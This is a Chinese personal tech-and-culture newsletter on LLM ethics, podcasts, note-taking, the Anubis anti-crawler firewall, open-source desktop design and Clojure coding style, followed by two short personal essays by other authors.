新播客是一起访谈,仲树只是提问者,偶尔提出自己的见解,内容基本都是 Roger Berkowitz 输出的,所以不太可能构成洗稿。不过,先前的洗稿基本上坐实了,她自己也没有为自己开脱。我不能为其他听众说话1,我自己的感想是,这个有洗稿前科的人推出了新的内容,质量很不错,我听完也写了不少感想(见上),但这些内容出自一个“罪人”,所以我现在的心情很复杂。

我最近不是第一次感受到这样的心情了。我们把目光从播客内容生态先移开,来看看日益变得不太平的技术社区。先有 语言模型分裂自由软件社群 、 “AI” 公司损毁珍贵实体书籍 ,后有 科技公司争先恐后给极右分子送钱 、 开发者四处猎巫 DHH 。与此同时,硬件价格居高不下,美国燃烧化石燃料为他们修的一座又一座数据中心供电,OpenAI、Anthropic 和 Gemini 都一个接一个地忽略基本的安全措施,把研究事故包装成「AI 太强我们已经管不住啦!」的广告神话。

说真的,我时常好奇人们是怎么平静下来的。是我的主导功能 Fi 过度发力,还是其他人对这些信息都充耳不闻?真的会有人在读完 Open Slopware 列出的 条条罪状 之后,还能心安理得地给那些不尊重创作者、肆意违反授权协议、偷窃训练数据的人送钱吗?

然而,摆在我面前的事实是:似乎是这样的,似乎大家在了解过这些不道德甚至违法2的行径后,依旧跟语言模型聊得不亦乐乎,依旧把版权状态不明的代码和文本用自己选择的授权协议发布。这些人不是随随便便的网友,而是不少我在过去以及现在都有着不少接触的人。他们甚至会为自己的行为冠以美名,比如某某模型有这样那样的问题,但另一个模型就没有,比如「LLM 让我感到自己不是在写代码,而是在创造」。

所以,我的心情很复杂。

不只是 LLM 相关,最近 NetNewsWire 的作者 Brent Simmons 也面临技术选择相关的两难。 MacStories 在八月份回到了社交媒体 X 上。X 不仅是封闭平台,还是由 Elon Musk 这号人物管理的,Simmons 表示谴责。与此同时,他意识到自己的技术选择也不是“纯洁”3的。

Do you have an iPhone? A Mac or iPad?
你有 iPhone 吗?一台 Mac 或者 iPad?

Do you order from Amazon, buy groceries from Whole Foods, or use any of their other properties (Prime Video, Twitch, Audible, etc.)? Do you use AWS or any websites that rely on AWS?
你从亚马逊买东西,从 Whole Foods 买杂货,或者用过他们的资产(Prime Video、Twitch、Audible 等)吗?你用 AWS 或者用依赖 AWS 的网站吗?

Do you use GitHub or Office or Windows or Azure or Typescript? How about DuckDuckGo, which uses Bing?
你用 GitHub 或者 Office 或者 Windows 或者 Azure 或者 Typescript 吗?那 DuckDuckGo 呢,它用的是 Bing?

Do you run Linux, which now includes AI-assisted code? Do you use Claude or ChatGPT or any of those?
你运行 Linux 吗?现在它包含 AI 辅助生成的代码了。你用 Claude 或者 ChatGPT 或者其他同类软件吗?

Do you use any Meta social networks (Facebook, Threads, Instagram)?
你用 Meta 的社交网络吗(Facebook、Threads、Instagram)?

Do you write Ruby code? (Which features DHH prominently on its home page.)
你写 Ruby 代码吗?(他们的官网上显眼地放上了 DHH 的大名)

Do you have an Android phone or use Google search or Gmail or write code in Go?
你用 Android 手机或者用 Google 搜索或者 Gmail 或者用 Go 写代码吗?

没有人的技术选择是纯洁的,许多技术的诞生或许就不纯洁。我用 iPhone、Mac 和 iPad;我虽然远离 GitHub,但大半个软件世界的基础设施都依靠 GitHub;我用 Linux,不可能不用;我写 Go 代码,我也真的非常喜欢 Go。我是法西斯主义者吗?我当然不是。

那,那些 LLM 用户就要么无知要么邪恶吗?当然不是。

These days we need all the righteous fury we can rally — and we also need the clarity to know where to focus it.

如今,我们需要我们可以聚集起的所有正当的愤怒,但同时我们也需要明晰,究竟应该把怒火集中在哪里。

“我很乖的,我听话的。”

📻

这是我第一次在周刊里提及《张春酷酷酷》这档播客节目,所以有必要简要介绍。这档节目由张春主持,每期会邀请数个素人网友连线讲述自己的故事,每期都有明确的主题。这期的主题是「我和世界的时差」。

这期一共有十一个故事,时长四小时,我挑我感想最深的两个讲。


从 02:45:22 开始的故事,我写这段文字的时候还听了一遍,再听也完全无法平静下来。一对卑鄙可耻(这个形容毫不为过)的父母,因为自己的教育缺陷和人格缺陷使得孩子不愿意和他们讲话,在打骂中孩子竟还了母亲的手,于是父亲就把女儿痛扁了一顿。这之后,孩子怎么也不说话,于是他们把孩子带到市福利院,去看那些出生畸形、没爹疼没娘爱的小孩,“教育”她要感恩。福利院里一个和孩子差不多高的小女孩走上前,机械般地念道:

“我很乖的,我听话的。我很乖的,我听话的。我很乖的,我听话的。我很乖的,我听话的。”

离开之后她终于情绪爆发,问父母什么时候把那些小孩接回来,因为父母骗她,说要去福利院接一个新的小孩。父母的说辞是,有了健康的小孩福利院会通知他们,然而孩子这时才意识到,这不过是父母的把戏。这样的把戏,她以前也见识过不止一次。见父母很快将刚才恐怖的画面抛之脑后,这个孩子思考起来:

我为什么会出生?因为这个世界上有一对夫妻,他们想要一个健康的孩子。父母爱的是他们层层筛选过的受精卵,那颗受精卵恰好是我,它也可以不是我。我也可能是福利院的孩子,福利院的孩子也可能是我。我们只能被选择,我们并无不同。生命不是天赐的礼物,生命只是计划或意外的产物,而如果失去了生命,我和这具虫尸也并无不同。我曾一度认为父母赋予我生命,他们养育我长大,我以为我天然拥有他们的爱,他们也天然接受我的自我。我总是喊“爸爸”“妈妈”,我呼唤他们,我需要他们,我爱他们,他们也爱我,因为我是他们的孩子。

什么是爱?爱是把工作的疲惫发泄在你身上吗?爱是侮辱你的朋友吗?是从不屑于了解你,只提出不切实际的要求,只要你不符合他们的想象,就否定你吗?是把你带到那些无辜而不幸的人面前,威胁你该感恩、该敬畏、该服从他们吗?可是就算是这样的爱也好,我也还是想要他们爱我的。是啊,所以你是个孩子,你要永远做这个孩子吗?你能永远忍受做这个孩子吗?他们会因为你是你而不爱你,那你会放弃自我去祈求他们的爱吗?

后来这个孩子把这件事情写在了作文里,于是得到了人生中第一张不及格的语文试卷。阅卷老师的说辞是,题材太老套,让她编也编个像样的。她觉得这个世界挺好笑的。我又不禁回忆起今年闹得沸沸扬扬的社交媒体禁令,尤其是那些带着珍珠项链的慈眉善目的白人说着要关心小孩子的面孔,想到他们说要让小孩回归球场、回归家庭的说辞,想到他们对父母的无条件信任,再看看这些故事,我也觉得这个世界挺荒诞的。

我的转述和文字是失真的,还请读者去听原来的音频。


我本想就此得出结论,说家庭不值得被信任,儿童应该得到社会的保护而不是信任家庭的保护(而很多求助渠道恰好来自网络空间),以及有些人就不配养育孩子,然后愤愤离去。后来想想,还是响应 Roger Berkowitz,拥抱多元观点吧。

从 01:32:49 开始的故事,是一个没有父亲的女孩的自述。她说自己在小时候没有意识到自己没有爸爸这件事情,对父亲这个概念很模糊,是她自己在家里乱翻东西,发现了自己父亲去世的事实,那个时候她才意识到,“原来我爸爸死了”。家里人从来不提爸爸这号人,没有他的照片,不知道父亲长什么样子。她爷爷很喜欢讲过去的事情,但提到爸爸的事情总是一句带过,从不细讲。她一直猜测爸爸是病逝或意外死亡,大家因为悲伤所以不提。

直到最近,也就是她 31 岁那年,她才从母亲的朋友口中了解到父亲的死因:父亲因杀人罪被判死刑。父亲因为投资欠了很多钱,被人追债,于是他潜入那人的家里,躲在衣柜里,之后用皮带把人勒死了。

她当时非常震惊,因为她的爷爷奶奶和姑姑都是很好的人,她自己也是个乐观向上且善良的人,她从未想过自己是个杀人犯的女儿。她印象中认为杀人犯的父母都是有问题的,但事实却不是这样。她突然把过去的各种碎片都拼凑了起来,比如奶奶为什么觉得让母亲给父亲扫墓是不该的,为什么家里人和钱的关系很远、从不碰投资,为什么爷爷说自己的是个善良的人,怎么都不会走错路。然后,她也开始心疼起周围的人,因为尽管杀人犯死了,但那些关系并不会消失,人们沉浸在悲痛中却无法诉说,因为不能缅怀一个罪人。家人们生活在这样的回忆中,却把她保护得很好,给了她一个非常幸福的童年。

这故事其实还给了我一个相当好的素材:你看看经历了这般痛苦的母亲和长辈都能养育出心理健全的小孩,你们这些仅仅是狂妄自大的父母凭什么在给自己的孩子(以及别人的孩子)造成创伤之后还能心安理得地要求孩子服从自己?

个人知识管理真的有用吗?

📜

个人知识管理(Personal Knowledge Management,后称 PKM)是近年逐渐流行起来的概念,是成体系、依赖现代化工具和的电子笔记系统。PKM 的风气大概是由 Roam Research 4 带起来的,还有 Notion 和 Obsidian 推波助澜。PKM 工具层出不穷,Loseq、Heptabase、Evernote 也占据了各自的江山,Emacs 的 Org Mode 兴许也算一个,更别提还有散落各处的或仿造 Notion 或不仿造 Notion 的笔记软件,开发者真的热衷于开发笔记软件。

PKM 体系有不少,而且有各种缩略词,比如卡片笔记(Zettelkasten)、P.A.R.A、C.O.D.E,还有 Inbox(收集箱)和 Flash note(闪念笔记)之类的概念。Brennan 对 PKM 的有效性提出了质疑,他的核心问题是:如果 PKM 真的大有帮助,那么我们不是应该在整体上看到有更多出版的书籍和论文出现吗?

事实似乎不是这样,而且 Brennan 观察到,那些 PKM 的重度用户产出的东西往往是大量的 PKM 相关内容,比如新的笔记管理概念和缩略词、笔记和任务管理技巧和各种新的方法论,而非某个具体领域的成果。还有人在一个 卡片笔记论坛 上询问,人们开始用卡片笔记法之后发生了什么改变,人们的答案似乎倾向于「更清晰的头脑和更少的焦虑感」,而非「更多工作成果」。

当然,清晰和减缓焦虑也很重要,只是目前的确没有研究证明 PKM 的兴起让生产力得到了普遍的提升(也没有证据表明它没有)。如果读者从未接触过 PKM,不必担心自己错过了什么万灵药;如果读者的确对自己的工作方式和研究方法感到不满意,从 PKM 社区学习借鉴兴许是有用的;如果读者没有什么管理方法,但仍然对自己的产出感到满意,那就不需要做出什么改变。

It’s clear that if you are somebody who already has an effective throughput, then the specifics of the underlying mechanics are uniquely personal and you should continue doing whatever works for you.

显然,如果你已经能做到有效的持续产出5,而且底层机制的具体细节是独属于你的,那你就应该继续做你觉得有用的事情。

我之前也沉迷过 PKM,我有真实数据表明6,我沉迷做笔记的那段时间,我写的文章就是更少!我 放弃 之后,文章数量和字数就开始上升了!我现在不做任何笔记,我学过东西之后就会直接上手去做;我要研究某个东西的时候会开一大堆浏览器标签页,然后直接把线索和大纲写进博客文章里,我也很少回看这些文章;我的任务管理只有一个手账本,我还经常分心涂涂画画,漏写是常有的事情,我从不信任这套体系,我会把重要的事情写在便签上贴在显眼的位置。我现在过得很好!


鸡头蛇尾

市场真的有辨别力吗?

前几天我在 这条联邦宇宙串 里吐槽,某个叫 芦苇 的 Vibe-coded 应用索引了我的 RSS 源,并且用语言模型机翻了我的英文文章,乱改我的标题(顺带一提,他们的文章渲染真烂,连脚注都渲染不出来,显示成列表了)。

屏幕截图,「芦苇」应用中我的文章列表,标题都被修改过

「芦苇」应用修改过后的标题

我随便一找,就能发现他们 Web App 里的好多瑕疵:

  1. 控制台输出了 API 的 401 报错和完整的 API 响应体,还有 Vue 的 Hydration 报错。他们没有做好错误处理。
    控制台输出,有很多报错,比如 Hydration error 和 401 响应
  2. 就算没有登录,还能在左下角看到本该是头像和用户名的小组件,甚至还有「退出登录」的选项。没有登录也能打开 发布内容 页面,直到点击「发布」或添加图片才会弹出登录框。结合上面错误处理的漏洞,这是完全没有考虑未登录的情况啊。
  3. 首页文章的摘要中包含 <p> <figure><img> 等未渲染的 HTML。
  4. 右侧的 关于芦苇 · 联系我们 · © 2026 芦苇 字样真的就只是文本。我真想联系他们,点了半天「联系我们」,打开审查元素才发现没有超链接,气笑了。
  5. 他们的 LLM 把 Input Token 和 Output Token 译作「输入令牌」和「输出令牌」。我怀疑这个是双关笑话,如果你没读懂这个笑话,可以读我的《 Token 应译作「符」 》。要不是我的 RSS 源只显示部分条目,我还真想看看他们会不会把这个标题翻译成《令牌应译作「符」》,不过我更好奇的是这期周刊的标题会被改成什么。

这家企业(杭州文复网络科技有限公司,浙 ICP 备 2025150892 号-2)显然违规了。我的内容以 CC BY-SA 4.0 协议发布,任何人都可以自由使用和演绎,但前提是:

You must give appropriate credit, provide a link to the license, and indicate if changes were made.

你必须给出恰当的署名,提供协议的链接,并且指出有没有修改作品。

他们给了署名,但没有标注 CC BY-SA 4.0 协议的链接,这是第一条违规;他们用语言模型修改了我的标题,但没有指出他们做的修改,这是第二条违规。

If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original.

如果你混合、修改或基于这个材料创作,你必须用和原作同样的协议分发你的贡献。

他们并没有以 CC BY-SA 4.0 协议发布修改后的版本,而且根本没有标注内容使用协议。这家公司的法务在做什么?你们的使用条款呢?(我试图在登录界面点击使用条款和隐私政策,竟然被重定向到了首页)页面里只写了 © 2026 芦苇,我可以合理认为你们的意思是说,你们修改之后的内容,版权归属于你们。

不拿语言模型乱改我的内容,就不会有这些问题。我觉得更好笑的是,这个以 “AI” 功能为卖点,还大量使用模型乱改和机翻原作者内容的产品,竟然索引了著名 “AI” 批评者 Ed Zitron 的文章,还放到了他们 App Store 页面的宣传图里。

尽管搞笑,但我也感到荒谬。这样的产品,从首页的点赞数来看,竟然有不少用户,而且 App Store 的评分有 4.8。从评价来看,大家似乎很喜欢这个产品。我不禁怀疑,市场真的有辨别力吗?

国庆在饭桌上,我旁观了我表哥和他父亲的对话。他们在聊金融和投资,争论 Intel 和 AMD 哪家芯片厂商更值得投资。我姑父一直强调 Intel 的芯片和指令集更具有优势,我能听出来他对硬件的技术细节是有了解的,不过我表哥一直强调云服务器大量使用 AMD 的芯片,市场份额比 Intel 高,难道能说市场是错的吗?他们最终没能达成一致。我听完的感受是,他们两个说的都是对的,但市场的确不代表真理。Intel 可能有诸多优势,但不代表市场就会选择它。同样,那个粗制滥造且违法违规的 App 仍会因为各种奇怪的原因(比方说产品宣发)而获得市场青睐,但改变不了那背后不过是一群投机者,对软件和文字都毫无尊重的事实。

金融行业或许应该看市场走向,但对个人而言,永远不要听信人群里喊得最大声的那群人。他们不仅不一定是对的,而且往往是错的。

WebAssembly in Anubis

📜

基于 PoW7 的网站防火墙 Anubis 终于在花了一年时间后支持了 WebAssembly。用 WASM 是出于性能考量,WebAssembly 是编译好的、可以在浏览器和服务器等多种环境运行的二进制文件,要比浏览器解释 JavaScript 代码快很多,性能也有很多优化空间。

Anubis 长期面临的问题是手机等电子设备的 CPU 太差,运行难度稍微高一点的 PoW 运算就会卡顿发烫,但又不能给手机用户直接降低难度,因为爬虫可能会把自己伪装成手机。按特征分类需要很谨慎才不会留下漏洞,然而 Anubis 又是开源的,不能指望爬虫不会发现线索。

使用 WebAssembly 可以在一定程度上解决性能问题,也能让 Anubis 的速度变快,毕竟没有用户想要被拦住太久。他们还顺带解决了 PoW 难度的 升阶问题 。

给 Anubis 加上 WebAssembly 比其他应用难很多,因为 Anubis 需要兼容非常老的浏览器版本和机型,不然就会把用老机器的用户拦截在外。这段一般的 Web 应用来说问题不大,但 Anubis 的初衷就是拦截 “AI” 爬虫,保证能访问网站的都是真人,向后兼容性对开放的万维网很重要。他们在 这一年的过程 中踩了不少坑,甚至还发现了(Xe Iaso 本人职业生涯中第一个)LLVM 编译器的 Bug,可以说从设计、实现、测试到编译,都因 Anubis 的特殊性遇到了很多难题。

我之前给自己的 Forgejo 实例 安装过 Anubis,其实拦截很有效,不过我不觉得自己的网站会承受那么多爬虫的流量(尽管它们确实非常非常多),拦截验证自己本就不多的访客似乎不太好。于是我在后来换成了简单的 Cookie 验证。如果有任何人需要的话,Anubis 其实相当不错,可见其主要维护者是在用心做软件的——不过他们其实也在用 Agent 开发 Anubis,这可真是让我…… 心情复杂。

尽管不用 Anubis,我最近确实在考虑安装 Iocaine。我也在 Tim McCormack 的博客上读到一篇 好玩的文章 ,他用 Rust 实现了 断联通讯社算法 8,可以把文字替换成看着像真文本但实际读起来没有任何意义的内容。我有点想设计并实现中文版本的非联社通讯社,把用算法扭曲过的内容喂给不守规矩的爬虫。

现代化开源桌面端

ℹ️

LWM(Linux Weekly News)报道了 Scott Jenson 在 KDE 的年度会谈上的讲话。Jenson 在 Apple 和 Google 都有做 UI/UX 设计师的经验。如果读者也接触过 Linux 桌面端或者别的开源桌面软件,会发现自由和开源的桌面端软件中很难找到 UI/UX 设计精良的。Jenson 想要「现代化」开源桌面端。

Jenson 表示开源桌面端的一大问题是,他们在过去一直跟随 Windows 和 macOS 的设计,但事到如今,这些操作系统背后的公司其实也有些摆烂了,他们不再稳定产出值得参考的 UX 设计。我仔细回忆了一下最近 Microsoft 和 Apple 在桌面端做了些什么,我只能想到: Windows 现在才在快照版本的 File Explorer 里支持 ~ ,他们在 Windows 11 才支持 sudo(并且我自己体验下来觉得很难用),还有刚过去不久的 macOS Tahoe 的丑陋 UI 设计和噩梦般的性能消耗(Golden Gate 要好很多的,但依旧没有好的创新)。

总之,Jenson 的意思是说,我们(开源社区)应该把领导权放到自己身上。说实话我也挺期待有越来越多优秀的 UI/UX 设计师在开源社区涌现,让开源桌面端反过来变成商业桌面端的参考对象。

Jenson 还提到了大语言模型,他本来不想谈却又不得不提。他的原话是这样的:

I have to talk about AI, and it pisses me off because there’s so many cool things we could be talking about, and AI just sucks up all the oxygen, and it’s all you can talk about.

我不得不提到 AI,我很生气,因为我们明明有很多很酷的事情可以讨论,但 AI 占据了所有的氧气,你能谈的就只有 AI 了。

我深有同感!我记得我之前还抱怨过此事,得到的回应竟然是:技术社区允许讨论技术之外的东西吗?真是令人唏嘘,人们似乎下意识地觉得除了语言模型之外再无其他可以讨论的技术,觉得语言模型就是人工智能这一概念的全部。

Jenson 说在 Claude Code 以前,人们都在原有的应用里乱塞 LLM,直到 Claude Code 推出了新的 UI/UX 设计(然后一大堆同类的 Agent 就涌现了……),他认为我们可以有更多这样的设计。不过他有提及,他自己也痛恨大模型公司做的那些事情,不过随着 Apertus AI 9 的出现,他看到了合法合规合乎道德的语言模型的可能性,未来兴许这样的模型会改变桌面端。

又一件令人唏嘘的事情,火起来的是 Jev 而不是 Apertus。不意外,市场当然偏好更易用的 Typed LLM,而不是致力于合法合规的 Ethical LM。

Jenson 认为开源用户也是在意 UI/UX 体验的。他记得之前向 KDE 提过一个功能,在 macOS 上,在窗口之间拖拽元素时,在鼠标释放之前,被拖拽元素所在的窗口都不会升起来(raised),也就是不会突然挡住要拖过去的那个窗口。窗口是在鼠标释放之后才升起来的。之前 KDE 不是这样,他提出之后,这个功能很快就被一个贡献者实现了。

我其实很想给开源桌面端贡献,不过我确实没有什么桌面端开发的经验。我做桌面端的话,大概只会用网页套壳(当然不会用 Electron,大概会用 Tauri 或者 Wails),而且也没什么点子。兴许我可以去了解 Qt 之类的框架。

函数式编程让复杂系统更容易构建

📜

这大概率是一篇用于优化网站 SEO,持续给网站产出内容进行引流的文章,换句话说,类似国内的“营销号”。不过也出于其营销性质,文章简单易读。配图虽然有脱裤子放屁之嫌,但还算能看。本文讲解函数式编程范式和高阶函数(High-order function)如何让复杂系统更容易构建和维护,与传统的以数据为中心的面向对象编程做了对比。

文章的主要观点是,函数式系统的数据流向非常清晰,由一个函数流向下一个函数,没有共享的可变状态。在传统的系统里,往往需要维护各种状态,同一块数据有多个写者读者,很难知道是谁修改了数据,数据流很容易变得混乱。

隐式数据流和显式数据流的对比图,来自 原文

在面向对象的系统里,对象不仅保存了不可见的内部状态,还定义了一系列方法。随着需求增加,越来越多的方法和复杂度会被添加到同一个对象内部。函数式系统由小巧的函数组成,不和对象绑定,天然地容易践行开闭原则(Open-close principle),即对拓展开放,对修改封闭。函数可以很轻易地组合复用,不需要修改函数内部的结构。我想到了面向对象设计中的装饰器模式(decorator pattern),用一个对象包装另一个对象,拓展其功能,其实,只需要用一个函数调用另一个函数就能实现装饰器。

纯函数不维护内部状态,只是接收参数,所以每个函数都是独立的,每个函数都能被测试。如果要测试一个对象,需要先实例化对象,这可能还需要实例化其他的对象,传给这个对象的构造方法才行,复杂的业务逻辑经常需要这么干。测试函数就不一样了,可以轻易地传入假的测试数据,函数的返回值也清晰且可预测,测试断言写起来也容易。

为了方便函数的组合复用,高阶函数往往很有用。这是文中给的例子,process-transaction 是个高阶函数,或者说高度抽象的函数。具体的费率、计算策略等细节,都作为参数传入,高阶函数本身不知道。

(defn process-transaction [transaction calculate-fee]
 (let [fee (calculate-fee (:amount transaction))]
 (assoc transaction :fee fee)))

(def payment
 (process-transaction {:amount 100} #(* % 0.02)))

(def refund
 (process-transaction {:amount 100} #(* % 0.01)))

我觉得这个例子不太合理,应该把 payment 和 refund 各自写成 process-payment 和 process-refund 函数,它们都调用 process-transaction 函数,但在内部写好部分参数,只接受 {:amount 100} 这一条数据,相当于是“继承”了 process-transaction 函数。

上面这个例子中的 transaction 是个映射(map),Clojure 的数据管线常常需要传递各种映射,修改其中的值或者增加新值,然后返回,传递给下一个函数。我一般是用箭头宏 -> 写数据管线的,这篇文章让我学到了新写法,用返回函数的函数构造管线函数:

(defn pipe [& functions]
 (fn [value]
 (reduce (fn [result fn*] (fn* result)) value functions)))

(def process-data
 (pipe validate transform save))

(process-data input)

这样一来,管线就是数据驱动(data-driven)的,可以随意修改传给 pipe 的函数数量和顺序,就像操作数据一样修改管线的结构,而不是写死成函数调用。

怂货式编程

📜

Ivan Grishaev 观察到一种很常见的 Clojure 编程模式:

(defn double-number [x]
 (when x
 (* x 2)))

;; or

(defn get-user [id]
 (when id
 (jdbc/execute! *db* ["select..." id])))

简单来说,人们喜欢在函数定义里套一层 when,确保参数不是 nil(空值)才执行代码。如果参数是 nil,函数的返回值也会变成 nil,程序不会崩溃也不会有任何报错。这看起来少了很多麻烦,程序不会动不动就崩溃了。Grishaev 把这种编程模式称作「怂货式」(coward style)。

这么做仅仅是让问题更难定位了。Clojure 代码里经常出现较长的执行管线,数据从一个函数传递给下一个函数,函数链中有一个函数返回了 nil,整个链路的结果都会变成 nil,而中间不会有人和函数报错,只能一个个排查。

Grishaev 认为,如果即将传给函数的参数是 nil,那这个函数根本不该被执行。Clojure 里已经有 some-> 宏可以做到这点了,在管线里有任何返回值是 nil,some-> 就不会调用下一个函数。

(some-> (get-user-id) (get-user))
;; 如果 get-urser-id 返回 nil,get-user 不会被调用

说实话我是读了这篇文章才第一次知道 some-> 这个函数,Clojure 标准库里的函数不少,常用的就几个,要全部了解应该很难。

不仅不应该避免函数报错,反而应该更多地报错,给出明确的报错,这样才能排查问题。Clojure 是动态类型语言,很少有类型报错。可以用 Pre-condition 和 Post-condition 约束函数的输入输出类型,本质上是一系列谓词函数,在调用函数之前用 :pre 谓词函数检查参数是否符合要求,返回值之前用 :post 检查输出是否正确。如果有返回 false 的,就报 AssertionError。

(defn double-number [x]
 {:pre [(number? x)]}
 (* x 2))

函数内部还可以用 assert 断言类型。在大部分编程语言里,断言是用于测试的,不该在生成环境中报断言错误。所以在构建时可以把全局变量 *assert* 设为 nil,这样就不会执行断言。

Clojure 还有 clojure.spec 库,用来定义更复杂的数据规格(Spec),可以检查和断言数据是否合规,与 Pre/post-condition 组合使用最佳。

我最近在写 weepinbell 的时候也遇到了不少类型问题带来的麻烦,一部分原因是我或多或少也应用了怂货式编程,另一部分原因是测试覆盖不完全,或许还有一部分原因是动态类型语言需要比静态类型语言更多的自律。我也开始怀疑,是不是选用静态类型的 Haskell 或 TypedClojure 会更好。


漫步遐思

  • 想在引擎呜呜作响的高空阅读 Wuthering Heights(《啸风山庄》),结果起飞前后的播报就没停过,平稳起飞之后乘务员开始带货(真惨,乘务员也要做销售)。终于安静下来的时候,我的脑子已经很累了。

  • 落地机场之前看到重庆的夜景,头一次升起思乡之情。不过我不念家, 一点也不念家 。下飞机之后在机场迷路了,这才想起这是 8D 魔幻城市,机场出口有三层地面,我说真的。

  • 时常下意识认为对方是能交流的理智人,结果我抛出对方不同意的观点之后收到的不是令人信服的反驳,而是一个笑哭的表情、「不是哥们」「XXX 出来也没通知我啊」「XXX 可能 YYY,但 XXX 会 YYY 不太可能」…… 不过我面对此情此景,脑子里冒出来的竟然是 Papi 酱的「Oh my god. 你吓到~ 我了~」,我大概也得换个脑子了。

  • 剧本杀店的 DM10 和演员大概都喜欢挑胆小的吓,我一个朋友刚进门就问 DM 说能不能不要吓她。结果在第一次搜证的时候,只有她一个人被 NPC 追了。其实那场景真挺吓人,是一个完全没有灯的 L 型走廊,要走进去说词,祭拜鬼神,然后从没有灯的路走回来。她尖叫着跑出来的时候,我才知道人是真的能被吓哭的,至少对我来说,恐惧很少和眼泪联系起来。

    后面还有团体搜证,五个人抱团进小黑屋,举着发绿光的电子蜡烛找线索卡。中途有个戴面具穿黑衣的演员时不时从各个角落探出头来大吼一声。说实话,能看清楚脸就不觉得吓人了,而且那小黑屋的结构挺简单的。

  • 去姑姑家吃饭,屋里多了一只见人就想要扑上来打招呼的泰迪犬。后来才知道那是我爸买的,他嫌弃这狗黏人,又摔又打又骂,还好我姑把它收走了。

    两三天后我又去他们家吃饭,我看见我爸骂它,还有它想要接近却在看清楚是谁之后绕着走的样子,感到不平。我没说话,又听起我爸有说有笑地讲起他有好几天都是喝醉的,稀里糊涂地没想起喂鸟,把家里一只鹦鹉饿死了。那只鹦鹉也很亲人,在我肩膀上站过,碧绿色的羽毛很好看。

    饭后大家都很吵,狗狗趴在门口的地板上。我把它招呼过来,我抚摸他的毛发,它想要舔我的手,我就让它舔。它费力地站在地上,把前爪放在我的腿上,瞪大眼睛看着我。后来我让它到沙发上来,一会儿它就把头倚在我的腿上,眯着眼睛睡了。我一边抚摸它,一边观察它的呼吸,原来泰迪可以很安静。后来我姑姑出门丢垃圾,它就从我身上下来,守在门口等她回来。门口有人经过的时候它总是叫,姑父很不喜欢。可我知道,它是想要保护这个家啊。


  1. 而且,如果去这期新播客的评论区看的话,会发现没有人讨论内容本身。有人喜出望外地发表仲树重新更新的感想,有人继续质问和谩骂,有人扮演起“理中客”,开始统计“无脑粉”和“黑子”的“票数”。 ↩︎

  2. 单论 Anthropic,他们就有好几场 官司 没打完。 ↩︎

  3. 这里原文用的是 free of fascists(没有法西斯主义者),西方媒体滥用法西斯一词已成习惯,Simmons 作为个人也受了这种媒体习惯的影响。大体上,他所说的 fascists 可以理解为中文语境中的「资本」「极右分子」之类的词。 ↩︎

  4. 顺带一提,Roam Research 是用 Clojure 写的;后文提及的 Logseq 也是用 Clojure 写的。 ↩︎

  5. 译注:原文 throughput 意为「吞吐量」,表示在一定时间内的工作产出量。这里为了通顺,译作「持续产出」。 ↩︎

  6. 见博客的 洞察 页面,里面有每月的文章字数统计。 ↩︎

  7. Proof of Work,工作量证明,即要求客户机计算一段无意义的复杂运算,服务端得到正确答案之后放行。这能拦住一部分爬虫,同时也使得爬虫爬取网站的成本变高,因为 PoW 会消耗大量 CPU 时间。 ↩︎

  8. 译注:原文 Dissociated press,我没有找到译名。这个词本来是对 Associated press(联合通讯社;美联社)的戏仿,所以我依照这层意思译作「断联通讯社」。我也想过「丑联社」这个译名。 ↩︎

  9. Apertus 是完全开放权重、开放训练数据、开放文档,任何人都可以复现的小语言模型。 ↩︎

  10. Dungeon Master,地下城主。这个词原本来自桌游《龙与地下城》。 ↩︎

磨损与魔法

作者 ONO
2026年10月5日 09:30

我正在码字的电脑,电脑键盘磨损得惨不忍睹,在特定的光线角度下,会显得格外的刺眼,甚至显得有些脏兮兮、油乎乎的。我用过各种方法去祛除这些让电脑变得“廉价”的污渍,徒劳之后就不得不换一个思路——这种战损感恰好可以让我有一种成就感。

我不算是一个很爱惜3C产品的人,但我心理上又确实很珍惜他们,直到我不得不接受它“战损”的事实,比如我的电脑左下缘有明显露出原本金属色的磨损边,我一开始也觉得它非常刺眼,最后终于意识到其实是我戴的金属表带在这里长期磨损所导致的,我就只能换一个心态接受“这是属于我自己的符号”。


一个小孩在我对面的位子上看着书,而他的手肘总是不老实地整个趴在书本上,一直被他的母亲提醒不要让边角会被卷边。

在我小时候,一旦课本开始卷边,就意味着到了这学期的后半程,再过不久就可以放假了——为了纠正我小时候总会把书角蹭得卷边,我甚至还买过那种用完书可以把书角固定起来,防止在书包里被蹭到变形卷起的书角固定器。书角卷到一定程度,它的使命就完成了,所以反而这些卷角成为了“爱不爱学习”的标准之一。

当然,对于女孩子而言,这些卷角意味着“不爱干净”,甚至可以用这个标准断定她们未来能不能嫁到一个好人家的全部。

但很妙的是,书角会不会卷起来,到了高中又成了另一个标准——只有那些不爱学习的学生,才会把自己的书搞到脏兮兮的,如果在高三还能拿出一本书角整齐,里面密密麻麻记着笔记的旧教材,那才是“爱学习”的证明。


每年新手机上市时,都会有一群人因为手机贴膜、带壳的事情吵得不可开交,最后还总是容易上升到“只要证明你是错的我就是对的”的二极管局面。

把电子产品“供起来”用并没有错,但它如果是错的,就能证明那些“不在乎”的人是正确的,甚至可以上升到对一个人的人格评价,在争吵之余,人们会意识到这套魔法对自己也同样适用——属于自己的标准,如果无法被证明是正确的,就连自己的人格评价也会一起受损。

有的时候,甚至都不需要有标准上的差别,只要你说了不一样的观点,都可以被视为是对对方的一种否定——正确的魔法,必须要错误的存在,魔法才会同样存在,除非这个咒语是自己命名的。

比如我把电脑战损的标准调整成了“重度使用电脑”的标签。

后来,我读高中的时候,书角也干净了好多,赶上了“书角不卷=好学生”的时代红利,只是没人知道,那本书之所以这么新,是因为我从来就没有翻开过。

——

感谢订阅莫比乌斯,如你有任何疑问、观点交流,请前往创作者频道,或私信联系。

去打篮球

作者 ACEVS
2026年10月4日 16:09

中午吃完饭,问两宝去不去出去溜达,二宝说去打篮球,他说的那个地方,水泥地,周边有树,但是没有阴凉,中午去就是被暴晒的份儿。

我说去另一个地方,塑料拼接的地板,四个完整的场地,四周都是树,那个树就压着篮球场四米高的铁网长,有的铁网都被压歪了,有的铁网上只能看到各种绿色植物叶子,相当茂密的树叶墙。

走出小区的时候觉得风真大,应该带个风筝,但是又懒得爬楼回去了。出发前这次带的都是两宝幼儿园时候买的儿童篮球,小一些,气不足了,上次感觉是五一左右去打的,这一晃,五个月过去了,先用气筒补气。

